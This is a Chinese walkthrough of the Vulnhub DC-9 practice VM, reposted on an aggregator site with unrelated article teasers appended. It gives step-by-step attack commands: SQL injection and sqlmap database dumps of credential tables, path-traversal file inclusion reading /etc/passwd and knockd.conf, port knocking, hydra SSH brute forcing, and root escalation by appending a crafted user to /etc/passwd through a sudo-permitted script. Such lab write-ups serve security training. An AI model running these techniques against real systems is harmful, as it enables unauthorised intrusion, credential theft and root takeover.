Vulnhub靶场 DC-9

目录

一、环境搭建

二、信息收集

1、主机发现

2、指纹识别

三、漏洞复现

1、dirsearch目录探测

2、sqlmap注入测试

3、文件包含漏洞

4、Knockd敲门服务

5、ssh爆破

​​​​​​​6、提权

四、提取flag

一、环境搭建

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/dc/DC-9.zip

虚拟机:VM虚拟机 或者VBOX 导入即可 

网络环境:NAT

介绍:vulnhub是个提供各种漏洞平台的综合靶场,拿到root权限才可以发现最终的flag。

二、信息收集

1主机发现

nmap -sP 192.168.176.0/24 

查看服务

nmap -A -p- -v 192.168.176.145

进入网站192.168.176.145

2、指纹识别

 whatweb http://192.168.176.145/ 

没有发现有用信息

三、漏洞复现

1、dirsearch目录探测

dirsearch -u http://192.168.176.145/ -e php  -x 400,404,503,403                                          

http://192.168.176.145/manage.php 后台地址

2、sqlmap注入测试

发现搜索页面存在SQL注入,

payload1' or 1=1 #

现在直接使用sqlmap工具来进行SQL注入攻击

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -dbs

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D users -T UserDetails -C username,password -dump

跑出一些账号密码信息 保存一下  密码如下

| username  | password      |
+-----------+---------------+
| marym     | 3kfs86sfd     |
| julied    | 468sfdfsd2    |
| fredf     | 4sfd87sfd1    |
| barneyr   | RocksOff      |
| tomc      | TC&TheBoyz    |
| jerrym    | B8m#48sd      |
| wilmaf    | Pebbles       |
| bettyr    | BamBam01      |
| chandlerb | UrAG0D!       |
| joeyt     | Passw0rd      |
| rachelg   | yN72#dsd      |
| rossg     | ILoveRachel   |
| monicag   | 3248dsds7s    |
| phoebeb   | smellycats    |
| scoots    | YR3BVxxxw87   |
| janitor   | Ilovepeepee   |
| janitor2  | Hawaii-Five-0 |

再跑另外一个看一下

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T StaffDetails -dump

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T Users -C Password,Username -dump

856f5de590ef37314e7c3bdf6f8a66dc | admin 

这里跑出一个admin账号密码是md5加密

也可以输入yes sqlmap自带碰撞

MD5免费在线解密破解_MD5在线加密-SOMD5  在线解密网站,成功拿下

密码transorbital1

3、文件包含漏洞

看了半天只看到这个关键词 ,存在文件包含漏洞

http://192.168.176.145/manage.php/?file=//../../../../etc/passwd

到这里 没思路 上网看了一下思路

回头看 上面nmap扫描这个22/tcp filtered ssh # 系统默认开放的,但是通过策略关掉了,因为被策略保护 处于关闭状态Knockd隐藏SSH

但是这里给出的用户,密码信息 应该是可以 爆破一下ssh

4、Knockd敲门服务

4.1.利用LFI看看konckd的配置文件,可以fuzz一下/etc 目录,一般的配置文件都这个目录里。

payloadfile=../../../../../etc/knockd.conf

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -%IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -%IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
​​​​​​​​​​​​​​

找到了 特定的端口信息7469,8475,9842,按顺序敲敲门

4.2.nmap开启敲门

第一种方法:

nmap -p 7469 192.168.176.145
nmap -p 8475 192.168.176.145
nmap -p 9842 192.168.176.145

第二种方法

for x in 7469 8475 9842; do nc 192.168.176.145 $x;done

4.3.现在重新nmap扫描服务看看 直接打开

 nmap -A -p- -v 192.168.176.145

​​​​​​​5、ssh爆破

5.1.前面sqlmap跑的一个表 整理字典

5.2.hy爆破

hydra -L username.txt mark -P pass.txt ssh://192.168.176.145   

跑出两个账户

login: joeyt   password: Passw0rd                                                                                                      login: janitor   password: Ilovepeepee

ssh joeyt@192.168.176.145 -p 22 ssh连接

在janitor用户发现了一个隐藏的文件夹 

cd .secrets-for-putin

ls -a

存在一些密码,写入密码字典,继续爆破 之前没有出来那些账号

5.3.ssh连接fredf

login: fredf   password: B4-Tru3-001

​​​​​​​6、提权

接下来提权  查看有无sudo -l权限 

sudo -l

发现fredf可以以root的身份执行

(root) NOPASSWD: /opt/devstuff/dist/test/test

是一个python文件 文件的意思是,读取第一个文件追加到第二个文件上

利用find指令找到这个python文件

命令:

find / -name "test.py" 2>/dev/null 寻找叫做test.py的文件

接着在/opt/devstuff/发现python源文件:test.py

代码如下

import sys
if len (sys.argv) != 3 :print ("Usage: python test.py read append")
    sys.exit (1)
else :
    f = open(sys.argv[1], "r")
    output = (f.read())
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

这是一个可以写入文件的一个python程序,我们可以以root权限写入任意一个文件

所以我们接下来要以root权限在/etc/passwd中写入一个具有root权限的用户

因为在/etc/passwd中的密码都是加密过的,我们也要设计一个加密的密码

设置密码命令:

openssl passwd -1(md5加密算法) -salt(用一个随机数去加盐) admin 123456

openssl passwd -1 -salt admin 123456

 生成密码:$1$admin$LClYcRe.ee8dQwgrFc5nz.

先把这些写入临时文件,再用test.py读取文件,追加到passwd里面

1写入临时文件

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:/root:/bin/bash' >>/tmp/mm

2、python程序追加etc/passwd

sudo ./test /tmp/mm.txt  /etc/passwd

3、切换用户看看

su admin

4、交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

、提取flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/681333.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

红队打靶练习:Alfa:1

下载连接点击此处即可! 目录 信息收集 1、arp 2、nmap 3、gobuster WEB web信息收集 FTP登录 smaba服务 crunch密码生成 提权 系统信息收集 权限提升 信息收集 1、arp ┌──(root㉿ru)-[~/kali] └─# arp-scan -l Interface: eth0, type: EN10MB, …

消息中间件面试篇

消息中间件 RabbitMQ 消息不丢失 可能导致消息丢失的情况: 生产者发送消息丢失消息队列宕机消费者服务宕机,未接收到消息 生产者确认机制 该机制解决了生产者发送消息有可能丢失的问题。 RabbitMQ提供了publisher confirm机制来避免消息发送到MQ过程…

Unity下使用Sqlite

sqlite和access类似是文件形式的数据库,不需要安装任何服务,可以存储数据,使用起来还是挺方便的。 首先需要安装DLL 需要的DLL 我们找到下面两个文件放入Plugins目录 Mono.Data.Sqlite.dll System.Data.dll DLL文件位于Unity的安装目录下的…

LeetCode、1143. 最长公共子序列【中等,二维DP】

文章目录 前言LeetCode、1143. 最长公共子序列【中等,二维DP】题目链接与分类思路2022年暑假学习思路及题解二维DP解决 资料获取 前言 博主介绍:✌目前全网粉丝2W,csdn博客专家、Java领域优质创作者,博客之星、阿里云平台优质作者…

python+django咖啡网上商城网站

全网站共设计首页、咖啡文化、咖啡商城、个人信息、联系我们5个栏目以及登录、注册界面,让用户能够全面的了解中国咖啡咖啡文化宣传网站以及一些咖啡知识、文化。 栏目一首页,主要放置咖啡的起源及发展进程的图文介绍;栏目二咖啡文化&#xf…

第三百二十三回

文章目录 1. 概念介绍2. 使用方法2.1 基本用法2.2 缓冲原理 3. 示例代码4. 内容总结 我们在上一章回中介绍了"FadeInImage组件"相关的内容,本章回中将介绍CachedNetworkImage组件.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 我们在本章…

InnoDB主键索引的B+Tree高度是多少?存储数据量是多少?

BTree示意图如下: 图片来源:BTree和BTree详解_bbrtt的结构图-CSDN博客 假设一行数据大小是1k,一页可以存储16行这样的数据。InnoDB的指针占用6个字节的空间,主键假设为bigint,占用字节数为8,那么可得公式…

Day 44 | 动态规划 完全背包、518. 零钱兑换 II 、 377. 组合总和 Ⅳ

完全背包 题目 文章讲解 视频讲解 完全背包和0-1背包的区别在于:物品是否可以重复使用 思路:对于完全背包问题,内层循环的遍历方式应该是从weight[i]开始一直遍历到V,而不是从V到weight[i]。这样可以确保每种物品可以被选择多次…

unity 点击事件

目录 点击按钮,显示图片功能教程 第1步添加ui button,添加ui RawImage 第2步 添加脚本: 第3步,把脚本拖拽到button,点击button,设置脚本的变量, GameObject添加 Component组件 点击按钮&am…

如何才能学好JVM?——零基础入门篇

1. JVM是什么? JVM是Java Virtual Machine的简称,它是一个虚拟的计算机,专门为执行Java程序而设计。 你可以想象它是一个能够运行Java字节码的平台,无论你的程序在Windows、Mac还是Linux上,它们都能通过JVM在这些系统…

linuxqq关闭主面板后无法再次打开的问题

文章目录 前言解决方案强调一点 前言 听说QQ出了linux版,所以来试试。结果试试就逝世。这次记录一个关闭后没办法打开的解决办法。 解决方案 刚安装好后如果点了关闭,系统托盘里也没有,点击图标又是重新登录。当然,我们最简单、…

C语言—简单的if语句

1.输入你的身高和体重,测试你的健康状况。 计算bmi的值, bmi (体重/身高的平方) 如果bmi 小于18.5,则显示“偏瘦,注意加强营养” 如果bmi 在18.…

Paper - VQGAN: Taming Transformers for High-Resolution Image Synthesis 简读

欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/136055085 VQGAN: Taming Transformers for High-Resolution Image Synthesis, CVPR 2021 VQGAN: 改良 Transformer 模型以实现高清图像合成 源码…

TypeScript 入门

课程地址 ts 开发环境搭建 npm i -g typescript查看安装位置: $ npm root -g C:\Users\Daniel\AppData\Roaming\npm\node_modules创建 hello.ts: console.log("hello, ts");编译 ts 文件,得到 js 文件: $ tsc foo.…

LeetCode二叉树的垂序遍历

题目描述 给你二叉树的根结点 root ,请你设计算法计算二叉树的 垂序遍历 序列。 对位于 (row, col) 的每个结点而言,其左右子结点分别位于 (row 1, col - 1) 和 (row 1, col 1) 。树的根结点位于 (0, 0) 。 二叉树的 垂序遍历 从最左边的列开始直到…

ubuntu22.04@laptop OpenCV Get Started: 007_color_spaces

ubuntu22.04laptop OpenCV Get Started: 007_color_spaces 1. 源由2. 颜色空间2.1 RGB颜色空间2.2 LAB颜色空间2.3 YCrCb颜色空间2.4 HSV颜色空间 3 代码工程结构3.1 C应用Demo3.2 Python应用Demo 4. 重点分析4.1 interactive_color_detect4.2 interactive_color_segment4.3 da…

Imgui(1) | 基于imgui-SFML改进自由落体小球

Imgui(1) | 基于imgui-SFML改进自由落体小球 0. 简介 使用 SFML 做2D图形渲染的同时,还想添加一个按钮之类的 GUI Widget, 需要用 Dear Imgui。由于 Imgui 对于2D图形渲染并没有提供类似 SFML 的 API, 结合它们两个使用是一个比较好的方法, 找到了 imgui-SFML 这个…

C++,stl,map/multimap详解

目录 1.map的构造和赋值 2.map的大小和交换 3.map的插入和删除 4.map的查找和统计 5.map的排序 1.map的构造和赋值 #include<bits/stdc.h> using namespace std;void print(map<int,int> &mp) {for(map<int,int>::iterator it mp.begin(); it ! m…

数据库管理-第150期 Oracle Vector DB AI-02(20240212)

数据库管理150期 2024-02-12 数据库管理-第150期 Oracle Vector DB & AI-02&#xff08;20240212&#xff09;1 LLM2 LLM面临的挑战3 RAG4 向量数据库LLM总结 数据库管理-第150期 Oracle Vector DB & AI-02&#xff08;20240212&#xff09; 作者&#xff1a;胖头鱼的鱼…

2.8:Maefile、计算单词个数、判断文件类型、单词逆置

1.有main.c&#xff0c;test.c&#xff0c;test1.c&#xff0c;创建Makefile 程序代码&#xff1a; Makefile: 1 CCgcc2 EXEhello3 OBJS$(patsubst %.c,%.o,$(wildcard *.c))4 CFLAGS-c -o5 all:$(EXE)6 7 #hello依赖test.o main.o8 $(EXE):$(OBJS)9 $(CC) $^ -o $10 …